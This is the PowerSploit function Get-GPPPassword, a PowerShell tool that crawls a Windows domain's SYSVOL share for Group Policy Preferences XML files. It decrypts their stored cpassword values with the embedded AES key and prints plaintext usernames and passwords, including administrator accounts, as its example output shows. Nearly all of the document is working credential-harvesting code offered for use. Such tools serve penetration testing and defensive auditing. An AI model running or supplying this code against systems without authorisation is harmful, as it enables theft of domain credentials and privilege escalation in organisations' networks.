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function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 2.4.2
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.EXAMPLE
PS C:\> Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
#define helper function to parse fields from xml files
function Get-GPPInnerFields {
[CmdletBinding()]
Param (
$File
)
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Cpassword = @()
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Services.xml' {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'DataSources.xml' {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Printers.xml' {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject) {Return $ResultsObject}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}
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